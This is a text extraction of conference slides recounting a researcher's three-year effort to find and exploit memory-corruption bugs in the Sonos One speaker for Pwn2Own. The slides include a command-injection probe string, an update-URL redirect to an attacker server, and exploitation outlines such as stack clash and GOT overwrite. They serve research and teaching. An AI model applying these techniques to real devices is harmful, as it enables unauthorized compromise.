Download as pdf or txt
Download as pdf or txt
You are on page 1of 101

A 3-Years Tale of Hacking a

Pwn2Own Target
The Attacks, Vendor Evolution, and Lesson Learned

Orange Tsai
About This Talk
• Side story while doing Vulnerability Research
1. Not just about how to reverse, how to exploit or 0day show-off
2. More focused on thoughts, attempts and self-introspections
while researching the target

• Push myself to sort out my workspace…


orange@work:~$ ls -hv sonos* | merge -to talk.pptx

About This Talk


sonos-2020:
a.out dump_key.py gggg parse.py test.c
a.tgz exp.py gpl/ parse2.py test.pcap
crash.py exp-v2.py log.txt run.sh test.txt
• More like a story while doing Vulnerability Research
data extract/ log2.txt run2.sh test.xml
1. Not about
data2/ ffreversing, vulnerability
note.txtexploiting or 0day show-off
tcpdump test2.py
data3/ file.crt
2. More about out/
thoughts, failed smb.py over each
paths, self-reflections tmp/year
debug.txt file2.crt out.bin s tmp.txt
• To push myself to sort out lots of temporary folders…
sonos-2021:
dump/ trigger.py note.txt x …

sonos-2022:

Orange Tsai
• Specialize in Web and Application Vulnerability Research
• Principal Security Researcher of DEVCORE
• Speaker at Numerous Top Hacker Conferences

• Selected Awards and Honors:


• 2022 - Champion and "Master of Pwn" of Pwn2Own
• 2021 - Winner of Pwnie Awards "Best Server-Side Bug"
• 2021 - Champion and "Master of Pwn" of Pwn2Own
• 2019 - Winner of Pwnie Awards "Best Server-Side Bug"
• 2018 - 1st place of Top 10 Web Hacking Techniques
• 2017 - 1st place of Top 10 Web Hacking Techniques
Before the Journey
• We are more focusing on the application security. As for
low-level views, you can check:
• Hardware Attacks:
• Dumping the Sonos One Smart Speaker by @_p0ly_
• Gaining root access on Sonos Play Speakers by @Nicocha30

• Trust-Zone Attacks:
• Smart Speaker Shenanigans by @bl4sty
Why I am Targeting Sonos?
1. Would like to try something different
2. High rewards and no one has pwned it before

Name Target Award Pwned


Pwn2Own Tokyo 2020 Sonos One Speaker 40,000 USD 0
Pwn2Own Austin 2021 Sonos One Speaker 60,000 USD 2
Pwn2Own Toronto 2022 Sonos One Speaker 60,000 USD 3
Pwn2Own Toronto 2023 Sonos Era 100 60,000 USD ?
Pwn2Own Tokyo 2020
28
JUL ZDI announced the
Pwn2Own targets

15
We start reviewing OCT

02 2 Weeks the Sonos


NOV End of the Pwn2Own
Registration
2020 - Our First Year
• We don't have any physical device :(
• Our attempts:
• Fuzzing all web inputs

• Searching for firmwares

• Exploiting the Firmware OTA

Web Interface of Sonos
• Most of the info was collected through fuzzing and the Internet
• Web pages: mainly for showing status and debugging
1. /status 3. /devmode
2. /tools.htm 4. /unlock

• UPnP: Contains hundreds of SOAP actions


1. AVTransport.play(…) 3. AVTransport.AddURIToQueue(…)
2. AlarmClock.CreateAlarm(…) 4. RenderingControl.SetVolume(…)
Web Interface of Sonos
• Most of the info is collected through fuzzing and the Internet
• Debug pages: displaying status or debugging
1. /status 3. /devmode
2. /tools.htm 4. /unlock

• UPnP: API contains hundreds of SOAP operations


1. AVTransport.play(…) 3. AVTransport.AddURIToQueue(…)
2. AlarmClock.CreateAlarm(…) 4. RenderingControl.SetVolume(…)
Orange
COMMAND INJECTION!

1.2.3.4; sleep 5 | $(sleep 5) & `sleep 5`


SoCo: Sonos Controller
from soco import SoCo

zone = SoCo('192.168.12.34')
zone.volume += 10
zone.play_uri('http://t.co/music.mp3')

zone.get_current_track_info()['title']
SoCo: Sonos Controller
from soco import SoCo

zone = SoCo('192.168.12.34')
zone.volume += 10
zone.play_uri('http://t.co/music.mp3')

zone.get_current_track_info()['title']
BeginSoftwareUpdate?
from soco import SoCo

zone = SoCo('192.168.12.34')
zone.zoneGroupTopology.BeginSoftwareUpdate((
['UpdateURL', 'https://<my-server>/'],
['Flags', 1],
['ExtraOptions', '']
))
orange@work:~$ sudo ncat -lp 80
GET /?cmaj=71&cmin=1&cbld=... HTTP/1.1
Host: 10.26.0.34
User-Agent
User-Agent:
: Wget
Connection: close
Collecting Firmwares
• Few firmwares are available on the Internet
• Newer firmwares are not binwalk-able :(
• Brute-forcing download URLs (but we failed)
• The newest and binwalk-able firmware version is 45.1-56150, which is
released on 2018-08-15

http://update-firmware.sonos.com/firmware/Prod/
57.16-41110-v11.9-wzhipjet-GA-1/^57.16-41110
read(2) / write(2)

execve(2) execve(2)

/bin/upgrade

read(2)

/bin/anacapad /sbin/wget

write(2)

/var/run/upgradeinfo
Attacking Firmware OTA
• Our attempts:
1. SSRF!
∟ Can't locate a good local service to exploit :(

2. Wget (bundled in BusyBox) CVEs / Vulnerabilities


3. Firmware encapsulating attacks
∟ Backdooring - Signed with an RSA key stored in the Secure Storage
∟ Downgrading- Protected with a SHA-256 Crypt hash

4. Firmware parser
Attacking Firmware OTA
• Our attempts:
1. SSRF!

∟ Can't locate a good local service to exploit :(
$5$NeHanrecdehym$x9aL.1kgod2FMyYGKajtuJztE/cy4O2GY64dhTwMTGD
2. Wget (bundled in BusyBox) CVEs / Vulnerabilities

3. Firmware encapsulating attacks

∟ Backdooring - Signed with an RSA key stored in the Secure Storage
∟ Downgrading- Protected with a SHA-256 Crypt hash

4.
❔ Firmware parser
Exploiting Firmware Parser
• Just like traditional CTF challenge
∟ Standalone binary parsing customized formats…

• Buffer Overflow never die… 😉


∟ The exploit works on my local QEMU environment but failed with
the latest firmware
∟ Adjust the offsets/gadgets blindly until the competition end :(
Summarize Our First Year
1. Got an exploit which works on old firmware (2018 ver.)
2. Self-reflections:
∟ Fine, it's fair given the two-weeks time frame
∟ My reverse skill is still too slow, especially in C++ :(
Pwn2Own Austin 2021
• Why are you targeting Sonos again?
∟ I dislike the feeling of defeat
∟ Synacktiv published a detailed article for dumping Sonos memory
by DMA attack
∟ Can learn a new skill and understand last year's failure. WAKU WAKU!
09
MAR Synacktiv published
the DMA article

11
AUG ZDI announced the
Pwn2Own targets 03
DEVCORE starts SEP
reviewing Sonos

3 Months
01
NOV End of Pwn2Own the
Registration
Dumping the Firmware
• Hardware: Purchased the USB3380 Evaluation Board
∟ Mostly sold out, but luckily one of the reseller is based in Taiwan
∟ Got within 24 hours
• Software: Perform the DMA Attack by @ufrisk/PCILeech
∟ Stuck for an entire week
MY USB3380EVB
"The USB interface of the USB3380 is however disabled by default
and the device would need to be flashed before it's enabled"
Struggling with USB3380EVB
• Flashing USB3380EVB:
∟ Hard to find mini PCIe to Micro USB adaptor
∟ Personal Computer only has PCIe x1, x4, x8, and x16 slots
∟ Modern Laptop only has M.2 slots

• Mini PCIe was only used in laptops during the 2010s


∟ Borrowed a Lenovo ThinkPad T430s from my friend
Removing Wireless WIFI Card to Flash EVB
BIOS Mini PCIe Whitelist…😅
Mini PCI-E Whitelist……😅

Bypass BIOS whitelist check


∟ Downgrade the BIOS
∟ Jailbreak the BIOS
∟ Flash the custom BIOS image
2021 - Our Second Year
• No-Brainer attempts:
1. Reviewed all web debug routes implementations
2. Reviewed all system(3) / exec*(3) calls
3. Reviewed all recv(3) / recvfrom(3) / recvmsg(3) on network services
4. Reviewed all unsafe string operations
∟ Still overlooked an information leak (my fault 🤦), which played an important
role during the third year's competition
2021 - Our Second Year
• Use the brain to think:
1. Sonos supports lots of audio formats
2. Audio parser are all based on open-source projects
∟ Fuzzing seems promising, but I prefer discovering bugs with my own eyes

3. Extracting music metadata (such as song title/album/author) could


present a more attractive attack surface 🤔
∟ Because all the metadata parsers are handcrafted
2021 - My First Bug
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {

my_tsclient_read(ctx, &buffer, &dlen, timeval);


}
2021 - Bug #1
size_t read_size = 1;
my_media_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {

my_media_read(ctx, &buffer, &dlen, timeval);


}
2021 - My First Bug
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);
MOV X0, $ctx
SUB SP, SP, $dlen.
dlen = (unsigned
MOV__int8)X1,
dlen;
SP_______.
if (dlen) { MOV X2, SP
MOV X3, $timeval

my_tsclient_read(ctx, &buffer, &dlen, timeval);


}
2021 - My First Bug
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {
char *buffer = alloca(dlen);
void
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
2021 - My First Fake Bug
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {
void *buffer = alloca(dlen);
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
Hope
Hope

No bug? WTF
Hope Maybe... a bug?

No bug? WTF
Hope Maybe... a bug?

No bug? WTF Bug was FAKE


Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE


2021 - My Real Bug
• A bug triggered while parsing a malformed ID3v2 tag
∟ An ID3v2 tag consists of multiple frames such as TPE1/COMM

1 2 3 4 5 6 7 8 9 10
ID3 magic version revision flags ID3 size
frame name frame size frame flags
frame data
2021 - My Real Bug
• A bug triggered while parsing a malformed ID3v2 tag
∟ An ID3v2 tag consists of multiple frames such as TPE1/COMM
∟ Integer Underflow due to the calculation of `sizeof(string) - 1`

1 2 3 4 5 6 7 8 9 10
"ID3" 03 00 BF 00 00 1234
"TPE1" 00 00 00 00. 03 03
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…"
size_t string_len = frame->size - 1; // underflow
2021 - My Real Bug
if (obj->unsynchronised_flag) {
if (string_len > obj->id3_size) goto fail;
• The bug happened whiling parsing an mp3 ID3v2 tag
ret = obj->mp3_read(obj, buffer, string_len);
• An ID3v2 tag can contain multiple frames such as COMM / TALB
} else {
• Integer
whileunderflow when the unsynchronisation
(obj->id3_size && string_len) flag is{set to 0
if (!obj->mp3_read(obj, buffer, 1))
1 2 3 4 5 6 7 8 9 10
"ID3" goto fail;
03 00 0xbf 0x1234
*buffer++;
"TPE1" 0x00 0x0303
"AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA…"
obj->id3_size--; string_len--;
}
}
WHEN YOUR CAT IS PLAYING OVERFLOW
2021 - My Real Bug
• Replaced the GOT of `strcasecmp` to `system` to execute commands
∟ Really Easy!
Summarize Our Second Year
1. A good attack surface achieves twice results with half
the effort
2. Self-reflections:
∟ Spent too much time blindly trying on the wrong path :(
∟ Perhaps I should give fuzzing a try?
∟ Always read the manual carefully…😅
Pwn2Own Toronto 2022
• Why are you targeting Sonos again and again?
∟ Low cost, high return! This year must be the same 🤑
∟ 2020: 2 weeks black-boxing
∟ 2021: 1 week for hardware + 2 weeks for reversing/exploiting = 60K USD
∟ 2022: (Spoiler) Spend FULL THREE MONTHS on this target…
Pwn2Own Toronto 2022
• Before the competition, I am chatting with @FidgetingBits at
HITCON CMT 2022:

@FidgetingBits: "Sonos has already enabled all binary protections"


@orange_8361: "??????"
Pwn2Own Toronto 2022

WTF?
2022 - Our Third Year
• Continue to explore our last year's good attack surface
2022 - Our Third Year
• Arbitrary size alloca(3) while parsing MP4 FTYP box

┌─────────────────────┐
| Box Header |
| Size (4) | Type (4) | Box Header = 8 Bytes
| --------------------|
| Box Data (N) | Box Data = N Bytes
└─────────────────────┘
└─────────── Box Size = 8 + N bytes
2022 - Our Third Year
bool mp4_parse_ftyp(void *ctx, void *s, size_t box_size)
{

if ( box_size
• Arbitrary > 7 ) {while parsing MP4 FTYP box
size alloca(3)
rsize = s->read_mp4(stream, tmp, 8);
if ( rsize == 8 ) {
┌─────────────────────┐
box_size = box_size - 8;
| char *buffer
Box Header |
= alloca(box_size);
| Size (4) | Type (4) | Box Header = 8 Bytes
rsize = s->read_mp4(stream, buffer, box_size);
| --------------------|
}
| Box Data (N) | Box Data = N Bytes
} └─────────────────────┘
} └─────────── Box Size = 8 + N bytes
Arbitrary Size alloca(3)?
0

Unused

Local Variable
Current Stack Frame

Return Address

Local Variable
Caller's Stack Frame

0xFFFFFFFFFFFFFFFF Return Address


Arbitrary Size alloca(3)?
0

Unused

Stack Pointer
size_t rzie
char tmp[8]
Current Stack Frame
Stack Canary
Return Address

Local Variable
Caller's Stack Frame

0xFFFFFFFFFFFFFFFF Return Address


Arbitrary Size alloca(3)?
0 Unused
Stack Pointer
char *buffer = alloca(size)

size_t rzie
Current Stack Frame
char tmp[8]
Stack Canary
Return Address

Local Variable
Caller's Stack Frame

0xFFFFFFFFFFFFFFFF Return Address


Arbitrary Size alloca(3)?
0 Unused
Stack Pointer
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA

size_t rzie
Current Stack Frame
char tmp[8]
Stack Canary
Return Address

Local Variable
Caller's Stack Frame

0xFFFFFFFFFFFFFFFF Return Address


Arbitrary Size alloca(3)?
0

Unused
AAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAA
Stack Pointer
size_t rzie
char tmp[8]
Current Stack Frame
Stack Canary
Return Address

Local Variable
Caller's Stack Frame

0xFFFFFFFFFFFFFFFF Return Address


Arbitrary Size alloca(3)?
0 Guard Page

Thread Stack Other Thread Stack

Guard Page

Thread Stack

Guard Page

Thread Stack Current Thread Stack

0xFFFFFFFFFFFFFFFF Guard Page


Arbitrary Size alloca(3)?
0 Guard Page

Thread Stack Other Thread Stack


AAAA

Guard Page

Thread Stack
Current Thread Stack

Guard Page

Thread Stack

0xFFFFFFFFFFFFFFFF Guard Page


Arbitrary Size alloca(3)?
0 Guard Page

Thread Stack Other Thread Stack


AAAA

Guard Page

Thread Stack

Guard Page

Thread Stack Current Thread Stack

0xFFFFFFFFFFFFFFFF Guard Page


Arbitrary Size alloca(3)?
• Turned this arbitrary size alloca(3) into a Stack Clash bug
∟ How to convert this Stack Clash into Read/Write primitives

• Overcame lots of exploitation obstacles:


∟ Unstable memory layout
∟ The write primitive has side effects…
∟ Determining the right moment to overwrite while all other threads
continually spin
Arbitrary Size alloca(3)?
• Turn this arbitrary size alloca(3) into a Stack Clash bug
∟ How to convert this Stack Clash into Read/Write primitives

• Lots of questions have to be solved:


∟ The memory layout is not stable…
∟ The write has side effects…
∟ All other threads are still running, when to write?
Exploiting the Stack Clash
Stably
• The `/nslookup` is implemented by calling gethostbyname_r(3)
∟ We run a customized DNS server and delay the response
∟ This allows us to control the timing of the write!
∟ Leak the stack pointer to bypass PIE & ASLR
∟ Write the return address to control the PC
Completed All Tasks on 9/19
Done all the things on 9/19
Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE


Understanding system
leads to real bug

Hope Maybe... a bug?

No bug? WTF Bug was FAKE


Bug was patched
2022 - Our Third Year
• Continue to explore our last year's good attack surface
• Have to discover new attack surfaces:
∟ The product integration part with Open-Source sounds good!
Insecure Callbacks
• XML Parser - libexpat
∟ Assume it's safe because it's used worldwide
∟ But is its usage also?

void XML_SetElementHandler(
XML_Parser p,
XML_StartElementHandler start, // user callback
XML_EndElementHandler end // user callback
);
Insecure Callbacks
void start(void *userData, char *tag_name, char **attrs) {
if (!strcmp(tag_name, "block")) {
userData->block_index += 1;
if (userData->block_index > 10)
return;
else
• XML Parser: libexpat
userData->blocks[block_index] = (Block *)malloc(0x4070);
} else if (!strcmp(tag_name, "param")) {
∟ Assume
block =it's safe because it is used worldwide
userData->blocks[userData->block_index];
strlcpy(block->names[userData->param_count], name, name_len);
∟ But is its usage also?
strlcpy(block->values[userData->param_count], val, val_len);
}
void XML_SetElementHandler(XML_Parser p,
}
XML_StartElementHandler start,
XML_EndElementHandler
void end(void *userData, char *tag_name) { end);
// handle close tag…
}
Insecure Callbacks
<root>
<block>
<param AAA="BBB">FOO</param>
• XML Parser: libexpat
<param CCC="DDD">BAR</param>
∟ Assume it's
</block>
safe because it is used worldwide
∟ But is its usage also?
<block>
<param EEE="FFF">BAZ</param>
void XML_SetElementHandler(XML_Parser
</block> p,
</root> XML_StartElementHandler start,
XML_EndElementHandler end);
<root>

Insecure Callbacks
<block>
<block>
<block>
<block>
...
<block>
• XML Parser: libexpat <block>
<block>
∟ Assume it's safe because it is used worldwide
<param AAA="BBB">FOO</param>
∟ But is its usage also? <param CCC="DDD">BAR</param>
</block>
</block>
void XML_SetElementHandler(XML_Parser
</block> p,
... XML_StartElementHandler start,
</block> XML_EndElementHandler end);
</block>
</block>
</block>
</root>
2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response

2. Insecure callback leads to OOB-Write


∟ Payloads can't consist of any non UTF-8 characters due to the XML spec
∟ Have to bypass PIE/ASLR/Stack-Cookie first
soapaction = get_header(request, "soapaction");

Insecure Callbacks
useragent = get_header(request, "user-agent");
size = __snprintf_chk(buffer, 4096, 1, 4096,
"POST %s HTTP/1.1\r\n"
"CONNECTION: close\r\n"
"HOST: %s:%d\r\n"
"USER-AGENT: %s\r\n"
• XML Parser: libexpat
"CONTENT-LENGTH: %zu\r\n"
"CONTENT-TYPE: text/xml; charset=\"utf-8\"\r\n"
∟ Assume it's safe because it is used worldwide
"SOAPACTION: %s\r\n"
∟ But is"\r\n",
its usage also?
path,
host,
void XML_SetElementHandler(XML_Parser
port, p,
useragent, XML_StartElementHandler start,
body_size, XML_EndElementHandler end);
soapaction);
str.data = buffer;
str.size = size;
send_request(&client, &str, 1, NULL, NULL, …)
2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response

2. Insecure callback leads to OOB-Write


∟ Payloads can't consist of any non UTF-8 characters due to the XML spec
∟ Have to bypass PIE/ASLR/Stack-Cookie first

3. Unchecked return value of `__snprintf_chk` leads to info leak


Chained All Together Around 10/18
Chained all together on 10/18
2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response

2. Insecure callback leads to OOB-Write (silent fixed)


∟ Payloads can't consist of any non UTF-8 characters due to the XML spec
∟ Have to bypass PIE/ASLR/Stack-Cookie first

3. Unchecked return of `__snprintf_chk` leads to info leak


2022 - Our Third Year
• Bugs:
1. Arbitrary size alloca(3) leads to Stack Clash (silent fixed)
∟ Transform to Read/Write primitive by delaying the DNS response

2. Insecure callback leads to OOB-Write (silent fixed)


The vulnerable code snippet is still there, but
∟ Payloads can't consist of any non UTF-8 characters due to the XML spec
the entry point has been removed precisely
∟ Have to bypass PIE/ASLR/Stack-Cookie first

3. Unchecked return of `__snprintf_chk` leads to info leak


RCrashdumpUploader?
• We have been aware since 2020
1. POST to `crash-upload.ws.sonos.com` every 5 minutes
2. Did the Sonos review the crashdump?
∟ We don't know because things went too well last year
∟ But that's the most reasonable explanation at that time
2022 - Our Third Year

• Accept it, we still have time (~1.5 months)… (Sigh)


RUN OUT OF ALL IDEAS…
Unsuccessful Attempts
• Audio Codec: • Server/Service:
∟ Fuzz OSS libraries ∟ Web/WebSocket server
∟ Review the integration parts ∟ SNTP/mDNS/UPnP/… services

• SOAP Implementations: ∟ Communication between services

∟ Review SOAP Parser ∟ …

∟ Review all SOAP actions


∟ Review the deserialization process
∟ Review URL clients (HTTP/CIFS/WS/SSDP/RTSP/…)
2 WEEKS LEFT
Review Bugs We Have So Far

1. What's the root cause?


2. Why it happened during the development process?
3. How to discover the variant?
2021 - My First Fake Bug
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {
char *buffer = alloca(dlen);
void
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
After the Patch of October
2022
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);

dlen = (unsigned __int8) dlen;


if (dlen) {
char *buffer
void buffer[184]
= alloca(dlen);
= {0};
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
After the Patch of Oct. 2022
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dlen = (unsigned __int8) dlen;
if (dlen) {
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
void
char *buffer
buffer[184]
= alloca(dlen);
= {0};
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
After the Patch of Oct. 2022
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
size_t read_size = 1;
my_tsclient_read(ctx, &dlen, &read_size, timeval);
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
dlen = (unsigned __int8) dlen;
if (dlen) {
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
void
char *buffer
buffer[184]
= alloca(dlen);
= {0};
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
my_tsclient_read(ctx, &buffer, &dlen, timeval);
}
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
Summarize Our Third Year
1. Glad that I didn't give up until the last moment
2. Self-reflections:
∟ Coverage should be more comprehensive, such as:
∟ Lifetime-style bugs / my overlooked unsafe string operation bug last year

∟ Didn't review the `libsmb2` because the name "SMB" scared me


∟ All other teams are targeting it

∟ Remember to cut off the Internet (set-up a good LAB environment)


Conclusion

1. Persistent is the key


∟ Targeting the same targets for 3 years
∟ Reversing day and night for 3 months
Conclusion

1. Persistent is the key


∟ Targeting the same targets for 3 years
∟ Reversing day and night for 3 months

2. On the right path is even more important


∟ A good idea or good attack surface
Chose a Good Attack Surface
• Bugs:
1. Size-checking error in firmware parser leads to Stack Overflow
2. Integer Underflow in MP3-ID3v2 tag parser leads to Stack Overflow
3. Arbitrary size `alloca(3)` in MP4-Box parser leads to Stack Clash
4. Insecure `libexpat` callback leads to OOB-Write
5. Unchecked return of `__snprintf_chk` leads to info leak
6. Fixed buffer size in MPEG-TS parser leads to Stack Overflow
Chose a Good Attack Surface
• Bugs:
1. Size-checking error in firmware parser leads to Stack Overflow
onMP3-ID3v2
2. Integer Underflow in MP3-ID3v2tag
tag parser
leads toleads
Stack
toOverflow
Stack Overflow
onMP4-Box
3. Arbitrary size `alloca(3)` in MP4-Boxparser
leads to Stack
leads to Clash
Stack Clash
4. Insecure `libexpat` callback leads to OOB-Write
5. Unchecked return of `__snprintf_chk` leads to info leak
6. Fixed
Static buffer
buffer size
size in
onMPEG-TS
MPEG-TSparser
leads to
leads
Stack
to Stack
Overflow
Overflow
Persist! Persist! Persist!
Until You found the right path
Celeste - "Games for Impact" of The Game Awards 2018
Thanks!
orange_8361
[email protected]

https://blog.orange.tw

You might also like